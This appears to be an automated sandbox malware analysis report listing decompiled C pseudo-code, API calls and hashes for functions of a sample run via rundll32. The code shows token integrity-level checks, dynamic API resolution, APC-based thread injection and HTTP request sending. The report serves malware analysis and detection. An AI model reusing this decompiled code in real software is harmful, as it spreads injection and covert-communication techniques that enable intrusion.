                  • Instruction ID: 609f31a183959c70f06129f4cfaa7750bf35401f008ae41e0abb93dd5f20c37c
                  • Opcode Fuzzy Hash: 9800b7ab43b89ea26b8992033d4d44eb864b54b419d69c2d14332767e09dac64
                  • Instruction Fuzzy Hash: AC111F766007586BCA30BFA9ED84D2BB7FDFF842143554E18E889D3621CF34F8858A61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D55E40 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 100%
                  			E04D55E40(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x4d5a2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E04D533DC(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E04D561DA(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}









                  0x04d55e4d
                  0x04d55e54
                  0x04d55e5b
                  0x04d55e6f
                  0x04d55e7a
                  0x04d55e92
                  0x04d55e9f
                  0x04d55ea2
                  0x04d55ea7
                  0x04d55eb2
                  0x04d55eb6
                  0x04d55ec5
                  0x04d55ec9
                  0x04d55ee5
                  0x04d55ee5
                  0x04d55ee9
                  0x04d55ee9
                  0x04d55eee
                  0x04d55ef2
                  0x04d55ef8
                  0x04d55ef9
                  0x04d55f00
                  0x04d55f06

                  APIs
                  • OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 04D55E72
                  • GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 04D55E92
                  • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04D55EA2
                  • CloseHandle.KERNEL32(00000000), ref: 04D55EF2
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 04D55EC5
                  • GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 04D55ECD
                  • GetSidSubAuthority.ADVAPI32(00000000,?), ref: 04D55EDD
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
                  • String ID:
                  • API String ID: 1295030180-0
                  • Opcode ID: e9583f4487162fbf04975fb7463fe79af60dc20706a22eff863ffac1cfaa90e8
                  • Instruction ID: 121d592ada29126989bc3fadbd29b2516527422d563e53cf739c94b0d90ef8ee
                  • Opcode Fuzzy Hash: e9583f4487162fbf04975fb7463fe79af60dc20706a22eff863ffac1cfaa90e8
                  • Instruction Fuzzy Hash: DD212875A0021DFFEF01DF94DC54EAEBBBDFB48304F0000A6E911A6265DB759A54DB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D56675 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 64%
                  			E04D56675(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x4d5a348; // 0xf1d5a8
				_t1 = _t9 + 0x4d5b516; // 0x253d7325
				_t36 = 0;
				_t28 = E04D55815(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x5c79601
					_t40 = E04D533DC(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E04D55063(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E04D561DA(_t40);
						_t42 = E04D54AC7(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E04D561DA(_t36);
							_t36 = _t42;
						}
						_t43 = E04D52708(_t36, _t33);
						if(_t43 != 0) {
							E04D561DA(_t36);
							_t36 = _t43;
						}
					}
					E04D561DA(_t28);
				}
				return _t36;
			}
















                  0x04d56675
                  0x04d56678
                  0x04d56679
                  0x04d56680
                  0x04d56687
                  0x04d5668e
                  0x04d56692
                  0x04d56699
                  0x04d566a0
                  0x04d566a5
                  0x04d566ad
                  0x04d566b7
                  0x04d566bb
                  0x04d566bf
                  0x04d566c5
                  0x04d566ca
                  0x04d566d4
                  0x04d566da
                  0x04d566dc
                  0x04d566f3
                  0x04d566f7
                  0x04d566fa
                  0x04d566ff
                  0x04d566ff
                  0x04d56708
                  0x04d5670c
                  0x04d5670f
                  0x04d56714
                  0x04d56714
                  0x04d5670c
                  0x04d56717
                  0x04d5671c
                  0x04d56722

                  APIs
                    • Part of subcall function 04D55815: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04D5668E,253D7325,00000000,00000000,?,7491C740,04D53ECE), ref: 04D5587C
                    • Part of subcall function 04D55815: sprintf.NTDLL ref: 04D5589D
                  • lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D566A0
                  • lstrlen.KERNEL32(00000000,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D566A8
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • strcpy.NTDLL ref: 04D566BF
                  • lstrcat.KERNEL32(00000000,00000000), ref: 04D566CA
                    • Part of subcall function 04D55063: lstrlen.KERNEL32(00000000,00000000,04D53ECE,00000000,?,04D566D9,00000000,04D53ECE,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D55074
                    • Part of subcall function 04D561DA: RtlFreeHeap.NTDLL(00000000,00000000,04D56383,00000000,?,00000000,00000000), ref: 04D561E6
                  • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,04D53ECE,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D566E7
                    • Part of subcall function 04D54AC7: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,04D566F3,00000000,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D54AD1
                    • Part of subcall function 04D54AC7: _snprintf.NTDLL ref: 04D54B2F
                  Strings
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                  • String ID: =
                  • API String ID: 2864389247-1428090586
                  • Opcode ID: 0454c90e90448d28ed116ecbe8a2b7c4f775ae21cbaae791e1b8b52661e6c1a2
                  • Instruction ID: 6e1250adfe8ece10e6bbbf2165bf8ff8640519c014edbf6ffc8b5a152e273c37
                  • Opcode Fuzzy Hash: 0454c90e90448d28ed116ecbe8a2b7c4f775ae21cbaae791e1b8b52661e6c1a2
                  • Instruction Fuzzy Hash: 6111A373B01225B75E12BBB89C94C6E3BADEE456683094016FD08A7221DE38FD064BB0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC1142 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 337 4cc1142-4cc1154 call 4cc2046 340 4cc115a-4cc118f GetModuleHandleA GetProcAddress 337->340 341 4cc1215 337->341 342 4cc120d-4cc1213 call 4cc1cd6 340->342 343 4cc1191-4cc11a5 GetProcAddress 340->343 344 4cc121c-4cc1223 341->344 342->344 343->342 345 4cc11a7-4cc11bb GetProcAddress 343->345 345->342 347 4cc11bd-4cc11d1 GetProcAddress 345->347 347->342 349 4cc11d3-4cc11e7 GetProcAddress 347->349 349->342 350 4cc11e9-4cc11fa call 4cc1e76 349->350 352 4cc11ff-4cc1204 350->352 352->342 353 4cc1206-4cc120b 352->353 353->344
                  C-Code - Quality: 100%
                  			E04CC1142(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E04CC2046(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x4cc41c4 + 0x4cc512f);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x4cc41c4 + 0x4cc5139);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E04CC1CD6(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x4cc41c4 + 0x4cc5000);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x4cc41c4 + 0x4cc50b9);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x4cc41c4 + 0x4cc505a);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x4cc41c4 + 0x4cc5052);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E04CC1E76(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}












                  0x04cc1150
                  0x04cc1154
                  0x04cc1215
                  0x04cc115a
                  0x04cc1172
                  0x04cc1181
                  0x04cc1188
                  0x04cc118a
                  0x04cc118f
                  0x04cc120d
                  0x04cc120e
                  0x04cc1191
                  0x04cc119e
                  0x04cc11a0
                  0x04cc11a5
                  0x00000000
                  0x04cc11a7
                  0x04cc11b4
                  0x04cc11b6
                  0x04cc11bb
                  0x00000000
                  0x04cc11bd
                  0x04cc11ca
                  0x04cc11cc
                  0x04cc11d1
                  0x00000000
                  0x04cc11d3
                  0x04cc11e0
                  0x04cc11e2
                  0x04cc11e7
                  0x00000000
                  0x04cc11e9
                  0x04cc11ef
                  0x04cc11f5
                  0x04cc11fa
                  0x04cc11ff
                  0x04cc1204
                  0x00000000
                  0x04cc1206
                  0x04cc1209
                  0x04cc1209
                  0x04cc1204
                  0x04cc11e7
                  0x04cc11d1
                  0x04cc11bb
                  0x04cc11a5
                  0x04cc118f
                  0x04cc1223

                  APIs
                    • Part of subcall function 04CC2046: RtlAllocateHeap.NTDLL(00000000,?,04CC124D,00000030,74CB63F0,00000000), ref: 04CC2052
                  • GetModuleHandleA.KERNEL32(?,00000020), ref: 04CC1166
                  • GetProcAddress.KERNEL32(00000000,?), ref: 04CC1188
                  • GetProcAddress.KERNEL32(00000000,?), ref: 04CC119E
                  • GetProcAddress.KERNEL32(00000000,?), ref: 04CC11B4
                  • GetProcAddress.KERNEL32(00000000,?), ref: 04CC11CA
                  • GetProcAddress.KERNEL32(00000000,?), ref: 04CC11E0
                    • Part of subcall function 04CC1E76: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 04CC1ED3
                    • Part of subcall function 04CC1E76: memset.NTDLL ref: 04CC1EF5
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                  • String ID:
                  • API String ID: 3012371009-0
                  • Opcode ID: 31687c257c3ceb305b1146695eaa07612f3c833a737e36d154a12e04720e82a5
                  • Instruction ID: 5af5712a0e4ba3a4065c9d7b411730a85cbb609ace14d5d3c5e4bd2f2c7da7b8
                  • Opcode Fuzzy Hash: 31687c257c3ceb305b1146695eaa07612f3c833a737e36d154a12e04720e82a5
                  • Instruction Fuzzy Hash: 422171B9A0061AAFD710DFAACC84E6A77FCEF043047088569E955D7252EB34FE058F60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC17EF Relevance: 9.1, APIs: 6, Instructions: 71memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 354 4cc17ef-4cc1803 355 4cc1874-4cc1881 InterlockedDecrement 354->355 356 4cc1805-4cc1806 354->356 357 4cc18c1-4cc18c8 355->357 358 4cc1883-4cc1889 355->358 356->357 359 4cc180c-4cc1819 InterlockedIncrement 356->359 360 4cc188b 358->360 361 4cc18b5-4cc18bb HeapDestroy 358->361 359->357 362 4cc181f-4cc1833 HeapCreate 359->362 363 4cc1890-4cc18a0 SleepEx 360->363 361->357 364 4cc186f-4cc1872 362->364 365 4cc1835-4cc1866 call 4cc1df6 call 4cc1f97 362->365 366 4cc18a9-4cc18af CloseHandle 363->366 367 4cc18a2-4cc18a7 363->367 364->357 365->357 372 4cc1868-4cc186b 365->372 366->361 367->363 367->366 372->364
                  C-Code - Quality: 86%
                  			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x4cc4188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x4cc418c;
						if( *0x4cc418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x4cc4198;
								if( *0x4cc4198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x4cc418c);
						}
						HeapDestroy( *0x4cc4190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x4cc4188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0x4cc4190 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x4cc41b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E04CC1F97(E04CC1FF5, E04CC1DF6(_a12, 1, 0x4cc4198, _t41));
							 *0x4cc418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}












                  0x04cc17f2
                  0x04cc17fe
                  0x04cc1800
                  0x04cc1803
                  0x04cc1879
                  0x04cc187f
                  0x04cc1881
                  0x04cc1883
                  0x04cc1889
                  0x04cc188b
                  0x04cc1890
                  0x04cc1893
                  0x04cc189e
                  0x04cc18a0
                  0x00000000
                  0x00000000
                  0x04cc18a2
                  0x04cc18a5
                  0x04cc18a7
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04cc18a7
                  0x04cc18af
                  0x04cc18af
                  0x04cc18bb
                  0x04cc18bb
                  0x04cc1805
                  0x04cc1806
                  0x04cc1826
                  0x04cc182c
                  0x04cc1831
                  0x04cc1833
                  0x04cc186f
                  0x04cc186f
                  0x04cc1835
                  0x04cc183d
                  0x04cc1844
                  0x04cc184e
                  0x04cc185a
                  0x04cc185f
                  0x04cc1866
                  0x04cc186b
                  0x00000000
                  0x04cc186b
                  0x04cc1866
                  0x04cc1833
                  0x04cc1806
                  0x04cc18c8

                  APIs
                  • InterlockedIncrement.KERNEL32(04CC4188), ref: 04CC1811
                  • HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 04CC1826
                    • Part of subcall function 04CC1F97: CreateThread.KERNEL32 ref: 04CC1FAE
                    • Part of subcall function 04CC1F97: QueueUserAPC.KERNEL32(?,00000000,?), ref: 04CC1FC3
                    • Part of subcall function 04CC1F97: GetLastError.KERNEL32(00000000), ref: 04CC1FCE
                    • Part of subcall function 04CC1F97: TerminateThread.KERNEL32(00000000,00000000), ref: 04CC1FD8
                    • Part of subcall function 04CC1F97: CloseHandle.KERNEL32(00000000), ref: 04CC1FDF
                    • Part of subcall function 04CC1F97: SetLastError.KERNEL32(00000000), ref: 04CC1FE8
                  • InterlockedDecrement.KERNEL32(04CC4188), ref: 04CC1879
                  • SleepEx.KERNEL32(00000064,00000001), ref: 04CC1893
                  • CloseHandle.KERNEL32 ref: 04CC18AF
                  • HeapDestroy.KERNEL32 ref: 04CC18BB
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
                  • String ID:
                  • API String ID: 2110400756-0
                  • Opcode ID: 393161a1241becfb848d6397ac6c7b45bd3cd01dde952fe70e78e3c2a1c72b6c
                  • Instruction ID: 01bf4d77f288be3dbdff70462544f7089bb25abf001defa585000de411af5692
                  • Opcode Fuzzy Hash: 393161a1241becfb848d6397ac6c7b45bd3cd01dde952fe70e78e3c2a1c72b6c
                  • Instruction Fuzzy Hash: B721C07AA04251EFCB10AFAAEC94B597BAAF75536070A803DF945D3141DA38EE008F64
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D551D8 Relevance: 9.0, APIs: 6, Instructions: 45networkCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D551D8(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E04D52058(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E04D57B83(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}







                  0x04d551d8
                  0x04d551e5
                  0x04d551e7
                  0x04d5524a
                  0x00000000
                  0x04d5524a
                  0x04d551ff
                  0x04d55206
                  0x04d55212
                  0x04d55217
                  0x04d5522d
                  0x04d5523d
                  0x00000000
                  0x04d5522f
                  0x04d5522f
                  0x04d55236
                  0x04d55243
                  0x04d55243
                  0x04d55243
                  0x04d55236
                  0x04d5522d
                  0x04d55248
                  0x00000000
                  0x00000000
                  0x04d5524e

                  APIs
                  • ResetEvent.KERNEL32(?,00000008,?,?,00000102,04D521E7,?,?,74CF81D0,00000000), ref: 04D55212
                  • ResetEvent.KERNEL32(?), ref: 04D55217
                  • HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 04D55224
                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,04D53F34,00000000,?,?), ref: 04D5522F
                  • GetLastError.KERNEL32(?,?,00000102,04D521E7,?,?,74CF81D0,00000000), ref: 04D5524A
                    • Part of subcall function 04D52058: lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,04D551F7,?,?,?,?,00000102,04D521E7,?,?,74CF81D0), ref: 04D52064
                    • Part of subcall function 04D52058: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04D551F7,?,?,?,?,00000102,04D521E7,?), ref: 04D520C2
                    • Part of subcall function 04D52058: lstrcpy.KERNEL32(00000000,00000000), ref: 04D520D2
                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04D53F34,00000000,?), ref: 04D5523D
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
                  • String ID:
                  • API String ID: 3739416942-0
                  • Opcode ID: e96c9f6aead1a054f9be5bee635972c0c41b7b4c4bac68ff3cafee1037665941
                  • Instruction ID: 7ec5bfaec53f63de57855d1b436730afefa94f6926d3921fd5c9c37623f6fe1b
                  • Opcode Fuzzy Hash: e96c9f6aead1a054f9be5bee635972c0c41b7b4c4bac68ff3cafee1037665941
                  • Instruction Fuzzy Hash: D7012831200200AADB326A65FC64F5B7BA9FF49364F100A29E995911F4DF20F8049A20
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC1F97 Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04CC1F97(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x4cc41c0, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}








                  0x04cc1fae
                  0x04cc1fb4
                  0x04cc1fb8
                  0x04cc1fc3
                  0x04cc1fcb
                  0x04cc1fd4
                  0x04cc1fd8
                  0x04cc1fdf
                  0x04cc1fe6
                  0x04cc1fe8
                  0x04cc1fee
                  0x04cc1fcb
                  0x04cc1ff2

                  APIs
                  • CreateThread.KERNEL32 ref: 04CC1FAE
                  • QueueUserAPC.KERNEL32(?,00000000,?), ref: 04CC1FC3
                  • GetLastError.KERNEL32(00000000), ref: 04CC1FCE
                  • TerminateThread.KERNEL32(00000000,00000000), ref: 04CC1FD8
                  • CloseHandle.KERNEL32(00000000), ref: 04CC1FDF
                  • SetLastError.KERNEL32(00000000), ref: 04CC1FE8
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                  • String ID:
                  • API String ID: 3832013932-0
                  • Opcode ID: 3cd3f499df3f207cb2ade2aed200ddf6cd6dfae6d6a02d782067be90b1b9b905
                  • Instruction ID: 0cdac5e1e10eab543ecf327135cfa9a1cb0b5752c5e8ed9acef3f64bd12433a5
                  • Opcode Fuzzy Hash: 3cd3f499df3f207cb2ade2aed200ddf6cd6dfae6d6a02d782067be90b1b9b905
                  • Instruction Fuzzy Hash: 68F0F83B609660ABD7226BA1FC08F5ABF6AFF08752F058408FE0195160CB298D108BA5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D52523 Relevance: 7.7, APIs: 5, Instructions: 161memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 59%
                  			E04D52523(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				CHAR* _t37;
				CHAR* _t44;
				CHAR* _t45;
				void* _t50;
				void* _t52;
				signed char _t57;
				intOrPtr _t59;
				signed int _t60;
				void* _t64;
				CHAR* _t68;
				CHAR* _t69;
				char* _t70;
				void* _t71;

				_t62 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E04D54520();
				if(_t21 != 0) {
					_t60 =  *0x4d5a2fc; // 0x4000000a
					_t56 = (_t60 & 0xf0000000) + _t21;
					 *0x4d5a2fc = (_t60 & 0xf0000000) + _t21;
				}
				_t22 =  *0x4d5a178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E04D53037( &_v8,  &_v20); // executed
					_t55 = _t25;
					_t26 =  *0x4d5a348; // 0xf1d5a8
					if( *0x4d5a2fc > 5) {
						_t8 = _t26 + 0x4d5b51d; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x4d5b9db; // 0x44283a44
						_t27 = _t7;
					}
					E04D54332(_t27, _t27);
					_t31 = E04D5415A(_t62,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t64 = 5;
					if(_t55 != _t64) {
						_t32 = E04D527A0();
						 *0x4d5a310 =  *0x4d5a310 ^ 0x81bbe65d;
						 *0x4d5a36c = _t32;
						_t33 = E04D533DC(0x60);
						 *0x4d5a3cc = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t33, 0, 0x60);
							_t50 =  *0x4d5a3cc; // 0x5c79600
							_t71 = _t71 + 0xc;
							__imp__(_t50 + 0x40);
							_t52 =  *0x4d5a3cc; // 0x5c79600
							 *_t52 = 0x4d5b142;
						}
						_t55 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t37 = RtlAllocateHeap( *0x4d5a2d8, 0, 0x43);
							 *0x4d5a368 = _t37;
							__eflags = _t37;
							if(_t37 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t57 =  *0x4d5a2fc; // 0x4000000a
								_t62 = _t57 & 0x000000ff;
								_t59 =  *0x4d5a348; // 0xf1d5a8
								_t13 = _t59 + 0x4d5b74a; // 0x697a6f4d
								_t56 = _t13;
								wsprintfA(_t37, _t13, _t57 & 0x000000ff, _t57 & 0x000000ff, 0x4d5927b);
							}
							_t55 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E04D53BD3( ~_v8 &  *0x4d5a310, 0x4d5a00c); // executed
								_t55 = E04D51D8A(0, _t56, _t62, _t64, 0x4d5a00c);
								__eflags = _t55;
								if(_t55 != 0) {
									goto L30;
								}
								_t44 = E04D56EA3(_t62);
								__eflags = _t44;
								if(_t44 != 0) {
									__eflags = _v8;
									_t68 = _v12;
									if(_v8 != 0) {
										L29:
										_t45 = E04D56815(_t62, _t68, _v8); // executed
										_t55 = _t45;
										goto L30;
									}
									__eflags = _t68;
									if(__eflags == 0) {
										goto L30;
									}
									_t55 = E04D55C31(__eflags,  &(_t68[4]));
									__eflags = _t55;
